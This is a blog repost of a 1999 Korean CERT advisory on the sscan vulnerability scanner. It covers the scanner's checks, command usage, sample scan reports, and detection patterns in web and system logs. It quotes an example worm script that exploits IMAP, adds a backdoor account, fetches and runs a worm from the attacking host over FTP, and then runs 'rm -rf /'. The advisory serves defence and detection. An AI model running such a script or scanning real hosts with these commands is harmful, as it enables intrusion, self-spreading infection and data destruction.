Security Tools/Linux

강력한 취약점 스캐너 - Sscan

NEORAY 2008. 7. 1. 21:27

아주 오래된 스캐너다 99년정도 에 나온걸로 알고있다 이제는 거의다 패치되어 별로위험하지 않을 것이다

정현철/CERTCC-KR, 한국정보보호센터

hcjung@{certcc,kisa}.or.kr


1. 개요

sscan은 지난 '98년 6월 mscan을 개발하여 전세계를 떠들썩하게 한 johann sebastian bach가 개발한 보안 취약점 스캐닝 도구로 '99년 1월에 버전 0.1을 발표하였다. sscan은 mscan의 명성(?)으로 인해 발표된지 얼마되지 않아서 많은 공개 사이트에서 소개되고 있으며 미국 CERT 팀에서도 그 위험성을 경고하고 있다.

sscan은 지난 '98년에 개발된 mscan에 비해 네트워크 보안 취약점 점검 기능이 매우 강력해져 최근에 발표되고 있는 많은 수의 보안 취약점들을 점검한다. 또한 유닉스 시스템 뿐만 아니라 윈도우즈 95/98, 윈도우즈 NT 시스템의 보안 취약점도 점검하여 지난 '98년에 윈도우즈 시스템에 많은 위협을 가하였던 백오리피스에 대해서도 진단을 한다.

sscan 자체가 취약점을 공격하지는 않지만 취약점을 공격할 수 있는 명령어들의 모음인 공격 스크립트를 수행하도록 설정할 수도 있다.

따라서 sscan 취약점 스캐닝과 함께 공격 목표 시스템에 대하여 보안 취약점을 이용한 공격이 가능하게 된다. sscan과 함께 보급된 문서에는 sscan에 의해 알려진 취약점을 이용하여 공격하는 방법과 자기 복제가 가능한 예제 스크립트를 소개하고 있다.

sscan의 점검항목을 mscan과 비교하면 다음과 같다.
 

점검 항목

mscan

sscan

비고

운영체제 버전 확인


네트워크 포트 스캐닝


QPOP root 버퍼 오버플로우


IMAP root 버퍼 오버플로우


Sendmail EXPN



solaris x86 listen/nlps_serv 원격 root 버퍼 오버플로우



리눅스 mSQL 2.0 원격 스택 오버플로우



리눅스 bind/iquery 버퍼 오버플로우



취약한 CGI 점검

/cgi-bin/phf


/cgi-bin/Count.cgi



/cgi-bin/test-cgi


/cgi-bin/php.cgi



/cgi-bin/handler


/cgi-bin/webgais



/cgi-bin/websendmail



/cgi-bin/webdist.cgi



/cgi-bin/faxsurvery



/cgi-bin/htmlscript



/cgi-bin/pfdisplay.cgi



/cgi-bin/perl.exe



/cgi-bin/wwwboard.pl



윈도우즈 시스템의 백오리피스(31337 포트 점검)



NFS 취약점

- export 목록

- 모든 사용자에 읽기/쓰기 가능 여부


리눅스 mountd 원격 버퍼 오버플로우



statd 버퍼 오버플로우


solaris NIS 서비스(rpc.nisd) 원격 오버플로우



solaris nlockmgr 원격 오버플로우



X11 점검

- X 출력 화면 덤프, 스니핑 가능성


Wingate 동작 유무



FINGER 점검

- 사용자 확인(default : root, guest)

- 한번도 로그인하지 않은 사용자 확인



스크립트 모듈 수행



named



IRIX default 계정 유무





2. 사용 방법

mscan에 비해 기능이 막강해진데 반해 사용방법은 대단히 단순해졌으며, 점검 결과 도 시스템의 취약점을 쉽게 파악할 수 있도록 잘 정리되어 있다. 또한 mscan에서 명령어 라인에서 주어야 했던 옵션들을 환경설정 파일(Sscan.conf)에 두어 특별한 옵션이 필요없이 사용 가능하다.
 

가. 옵션 설명
 

명령어 라인에서 다음과 같은 옵션이 사용되어 질 수 있다.

sscan (-o hostname | -s) (-c configfile) (-v)

-c <config>: 디폴트 환경설정 파일인 Sscan.conf를 대신할 특정 환경설정 파일 설정

-o <host> : 스캐닝할 한 호스트 지정

-e <script>: 디폴트 스크립트 파일인 Module.ms과 함께 사용할 스크립트 파일 지정

-m : 모든 취약점 점검을 하지 않고 스크립트 파일만을 수행

-s : 표준입력으로부터 스캐닝할 호스트를 지정

-v : 상세한 출력
 

나. 일반적인 사용 예
 

○ 다수 호스트를 스캐닝하는 경우

./sscan domainname.co.kr/24

설명 : C 클래스로 가정하고 해당 도메인에 ping을 보내 찾아진 모든 호스트를 스캐닝한다.

○ DNS 영역을 스캐닝하는 경우

./tools/z0ne -o domain.com | ./sscan -s > outputfile

설명 : -s 플래그는 IP 주소를 표준입력에서 받겠다는 의미이고, z0ne 등과 같은 IP 수집 프로그램 등과 함께 사용할 수 있다.

○ 단일 호스트를 스캐닝하는 경우

./sscan -vo www.victim.com

설명 : 특정한 하나의 호스트의 보안 취약점을 점검하여 자세히 출력한다.
 

다. 환경설정
 

sscan은 공격자가 선택적으로 점검하고 싶은 취약점 항목 등을 지정할 수 있도록 환경설정 파일(디폴트로 Sscan.conf)를 지원한다. 또한 점검하고 싶은 사용자 계정의 유무 등도 추가나 삭제가 가능하다. 디폴트 사용자 계정은 root, guest이나 여기에 bbs, sonnim, anonymous 등을 다음과 같이 추가 할 수 있다.

FINGER=yes root,guest,bbs,sonnim,anonymous
 

라. 실행 예
 


# ./sscan domainname.co.kr/24

--------------------------<[ * report for host xxx.xxx.xxx.97 *

<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>

<[ tcp port: 143 (imap) ]> <[ tcp port: 110 (pop-3) ]>

<[ tcp port: 111 (sunrpc) ]> <[ tcp port: 79 (finger) ]>

<[ tcp port: 25 (smtp) ]> <[ tcp port: 21 (ftp) ]>

<[ tcp port: 22 (unknown) ]> <[ tcp port: 1114 (unknown) ]>

--<[ *OS*: xxx.xxx.xxx.97: os detected: solaris 2.x

-<[ *FINGER*: xxx.xxx.xxx.97: root: account exists.

-<[ *FINGER*: xxx.xxx.xxx.97: guest: account exists.

--<[ *VULN*: xxx.xxx.xxx.97: /cgi-bin/test-cgi here.

--<[ *VULN*: xxx.xxx.xxx.97: solaris running statd (automountd remote?) ^Q

--<[ *VULN*: xxx.xxx.xxx.97: solaris running nlockmgr.. remote overflow? ^M

---------------------------<[ * scan of xxx.xxx.xxx.97 completed *

--------------------------<[ * report for host xxx.xxx.xxx.252 *

<[ tcp port: 80 (http) ]> <[ tcp port: 143 (imap) ]>

<[ tcp port: 110 (pop-3) ]> <[ tcp port: 111 (sunrpc) ]>

<[ tcp port: 79 (finger) ]> <[ tcp port: 53 (domain) ]>

<[ tcp port: 2766 (unknown) ]> <[ tcp port: 25 (smtp) ]>

<[ tcp port: 21 (ftp) ]>

--<[ *OS*: xxx.xxx.xxx.252: os detected: solaris 2.x

-<[ *NFS exp0rt*: xxx.xxx.xxx.252: to: everyone! =) dir: /export/home/thanawat ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.252: to: netscape2.mfec.co.th dir: / ]>-

--<[ *VULN*: xxx.xxx.xxx.252: solaris x86 listen/nlps_serv remote root overflow

--<[ *VULN*: xxx.xxx.xxx.252: world readable/writeable nfs exports<BODY>< ^D

--<[ *VULN*: xxx.xxx.xxx.252: solaris running statd (automountd remote?) ^Q

--<[ *VULN*: xxx.xxx.xxx.252: solaris running nlockmgr.. remote overflow? ^K

---------------------------<[ * scan of 203.144.251.252 completed *

--------------------------<[ * report for xxx.xxx.xxx.67 *

<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>

<[ tcp port: 110 (pop-3) ]> <[ tcp port: 111 (sunrpc) ]>

<[ tcp port: 25 (smtp) ]> <[ tcp port: 21 (ftp) ]>

<[ tcp port: 22 (unknown) ]>

--<[ *OS*: amenitytour.co.th: os detected: linux 2.0.x

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: new.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: new1.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: news.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: odin.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: passwordplus.he.net dir: / ]>-

--<[ *VULN*: xxx.xxx.xxx.67: QPOP remote r00t buffer overflow

--<[ *VULN*: xxx.xxx.xxx.67: sendmail will 'expn' accounts for us

--<[ *VULN*: xxx.xxx.xxx.67: linux mountd remote buffer overflow

---------------------------<[ * scan of xxx.xxx.xxx.67 completed *

--------------------------<[ * report for host xxx.xxx.xxx.212 *

<[ tcp port: 31337 (unknown) ]> <[ tcp port: 139 (netbios-ssn) ]>

--<[ *OS*: xxx.xxx.xxx.212: os detected: windows 95/98/nt

-<[ xxx.xxx.xxx.212: * running Netbios Auditing Tool on remote host! *

--<[ *VULN*: xxx.xxx.xxx.212: port 31337(tcp) open.. backdoor?

---------------------------<[ * scan of xxx.xxx.xxx.212 completed *



3. 공격 스크립트
 

sscan은 보안 취약점 점검과 함께 공격 목표 시스템에 대하여 예측할 수 없는 공격 스크립트에 의한 공격이 가능하게 된다. 이 스크립트 언어는 동일한 보안 취약점이 발견되는 시스템에서는 자기 복제를 무한히 하고 시스템의 파괴 행위 등을 수행할 수 있는 인터넷 웜과 같은 성격을 띌 수도 있다.

지금까지 유닉스 시스템에서 자기 복제가 가능한 인터넷 웜은 '88년 sendmail의 debug 옵션을 이용한 웜으로 인해 전세계의 시스템들이 마비되는 사건 이후 활발하게 이루어지지 않았었다. 그 이유는 유닉스 시스템은 일반 PC의 운영체제와는 달리 워낙 환경이 많이 다르기 때문에 공통되는 취약점을 찾기가 쉽지 않았었기 때문이다. 하지만 최근에 원격지에서의 버퍼 오버 플로우 공격에 의해 시스템 관리자 도용이 리눅스 시스템에 공통적으로 나타나고 있어 이를 이용한 인터넷 웜 제작이 가능한 상황이다.

이 인터넷 웜에 사용되는 스크립트의 기본적인 아이디어는 성공하지 못한 명령어가 실행되지 않는 한 그 결과값을 가진다는 것이다. 즉, 일련의 공격 과정을 스크립트로 작성하여 이들 일련의 공격이 모두 성공할 경우 시스템 침입과 파괴행위 그리고 자기 복제에 의한 전파가 가능하고 이들 중 하나의 명령어 혹은 조건이 만족되지 않을 경우 스크립트의 수행을 중지한다. 이러한 공격은 공통된 취약점을 가진 리눅스 시스템 등에 용이하게 이루어질 수 있다.

한 예로 아래의 간단한 스크립트를 살펴보기로 하자.
 

os[linux]

port[143] # is imapd available?

starttcpdialog[143] # connect to imap port

wait[2]

read[IMAP version blah blah] # check if its vulnerable

enddialog # close connection

sh[./exploit_that_appends_b4b0_to_passwd_file $remoteip] #try exploit!

starttelnetdialog[23] # our account has been added, telnet to the host

wait[2]

send[b4b0] # login as b4b0

wait[2]

read[last] # expect "last login tuesday blah blah" if we're logged in

wait[2]

send[ftp $localip] # ftp back to the host we infected

wait[2]

send[get /tmp/b4b0w0rm.tgz /tmp/b4b0w0rm.tgz] # transfer up the worm

wait[30] # wait for the file transfer to finish

send[quit] # quit the ftp program

wait[3]

send[tar -zxvf /tmp/b4b0w0rm.tgz; /tmp/b4b0w0rm/startupscript &]

wait[50000] # wait 50,000 seconds before we rm -rf / ;)

send[rm -rf /] # w00h00!!!! dont try this at home kidz ;)

enddialog


위의 스크립트는 다음 과정을 수행하는 명령어들의 모음을 가진 스크립트이다.

① 리눅스인지 확인

② IMAP 취약점 확인

③ IMAP을 이용한 공격 시도(b4b0라는 사용자 계정 추가)

④ b4b0라는 사용자로 telnet 접속

⑤ 로컬 시스템(공격 시스템)에 FTP 접속

⑥ 동일한 인터넷 웜 프로그램 다운로드

⑦ 동일한 인터넷 웜 프로그램 백그라운드 수행

⑧ 시스템의 모든 파일 삭제

위의 과정 중 하나의 과정에서 오류가 발생하면 이 스크립트는 동작을 멈추게 된다. 하지만 많은 리눅스 시스템에서 이 공격이 성공하리라 생각되어 지고 그럴 경우 기하급수적으로 이 스크립트에 의한 공격이 자동으로 이루어 질 것이다.


4. 공격 탐지
 

sscan은 네트워크 서비스의 알려진 취약점에 대한 점검을 수행하므로 점검 중 몇가지 패턴을 보이고 있다. 따라서 sscan이 점검하는 각각의 단계에서의 패턴을 감지함으로써 공격사실을 탐지할 수 있다.
 

가. 네트워크 서비스 스캐닝
 

sscan은 취약점 점검에 앞서 목표 호스트가 제공해 주고 있는 서비스를 알아내기 위해서 네트워크 서비스를 스캐닝한다. TCP ACK 패킷이 다음과 같은 근원지와 목적지 포트가 세팅된 채 목표 호스트에 주어진다.

source and destination TCP port 23 (telnet)

source and destination TCP port 25 (smtp)

source and destination TCP port 110 (pop3)

source and destination TCP port 143 (imap)

source and destination TCP port 80 (www)

만일 위의 스캐닝에서 응답이 있었다면 공격 호스트에 대한 잠재적인 취약점을 점검하려 한다. 아래 TCP 포트들에 대한 접속 순서대로 접속 취약점 점검이 이루어지지만 공격자가 임의로 선택할 수 있으므로 각각의 취약점에 대한 점검을 할 수도 있고 하지 않을 수도 있다.

80 (www)

23 (telnet), 143 (imap), 110 (pop3) [all three, or none, are probed]

111 (sunrpc)

6000 (x11)

79 (finger)

53 (domain)

31337 (unassigned by IANA)

2766 (Solaris listen/nlps_server)

아래의 TCP 포트들에 대한 취약점 점검은 선택적이므로 항상 취약점을 점검하지는 않는다. 하지만 sscan에 의해 점검하는 순서는 아래와 동일하다.

139 (netbios-ssn)

25 (smtp)

21 (ftp)

22 (ssh)

1114 (Linux mSQL)

1 (tcpmux)
 

나. 목표 호스트의 운영체제 확인
 

목표 호스트의 운영체제를 인식하기 위한 시도에서 두가지 형태의 진단이 이루어진다.

○ login banner를 얻기위한 TCP 포트 23번(telnet)으로 접속한다.

○ 시스템과 네트워크 구조를 알아내기 위해 스탤스 스캐닝 기술을 사용한다.

이 경우 다음과 같은 다섯개의 패킷이 취약점 스캐닝시 열려진 포트에 전송된다.

Packet #1 - SYN ACK packet from source TCP port 1

Packet #2 - FIN packet from source TCP port 2

Packet #3 - FIN ACK packet from source TCP port 3

Packet #4 - SYN FIN packet from source TCP port 4

Packet #5 - PUSH packet from source TCP port 5
 

다. 잠재적 취약점 점검
 

스캐닝 점검결과 얻어진 정보를 이용하여 공격 목표 시스템이 잠재적으로 취약한지를 결정한다. 이 과정에서 공격탐지를 명확히 알수 있는 로그는 아래와 같이 access_log와 messages 파일을 분석함으로써 탐지할 수 있다.

○ access_log 파일 분석
 

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/phf HTTP/1.0" 302 192

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/test-cgi HTTP/1.0" 404 169

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/php.cgi HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/handler HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/webgais HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/websendmail HTTP/1.0" 404 172

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/faxsurvey HTTP/1.0" 404 170

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/htmlscript HTTP/1.0" 404 171

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174


○ messages 파일 분석

 

Feb 3 09:51:04 apollo imapd[1796]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo ipop3d[1797]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.fingerd[1801]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.ftpd[1802]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.telnetd[1800]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.telnetd[1803]: connect from xxx.xxx.xxx.108

Feb 3 09:51:14 apollo ipop3d[1804]: connect from xxx.xxx.xxx.108

Feb 3 09:51:14 apollo imapd[1805]: connect from xxx.xxx.xxx.108

Feb 3 09:51:17 apollo in.fingerd[1807]: connect from xxx.xxx.xxx.108

Feb 3 09:51:18 apollo in.fingerd[1809]: connect from xxx.xxx.xxx.108

Feb 3 09:51:20 apollo in.fingerd[1811]: connect from xxx.xxx.xxx.108


라. 스크립트 실행

 

sscan이 명령어들의 모음인 스크립트를 공격자가 임의로 설정할 경우 탐지가 힘들다.


5. 대책
 

보안 취약점 점검 도구에 의한 스캐닝 공격에 대한 뚜렷한 대책은 없다. 하지만 보안 취약점 진단은 시스템 공격을 위해 행해지는 최초의 행위이고 여기서 발견된 보안 취약점을 악용하여 실제 시스템에 대한 공격이 이루어지는 경우가 대부분이다.

따라서 시스템 관리자는 공격자가 취약점을 점검하기 이전에 미리 자신의 시스템 및 네트워크의 보안 취약점을 점검하여 발견된 취약점에 대한 조치를 해야할 필요가 있다.

더군다나 sscan에서는 보안 취약점 점검 뿐아니라, 자기복제가 가능한 스크립트 파일에 의해 보안 취약점에 대한 적극적인 공격 행위까지 자동으로 이루어지므로 관리자들의 주의를 요한다.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-다     운     로     드-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Security Tools > Linux' 카테고리의 다른 글

리눅스용 Wireless 스니퍼 - Kismet  (0) 2008.07.01
Nikto  (0) 2008.07.01
Libwhisker2  (0) 2008.07.01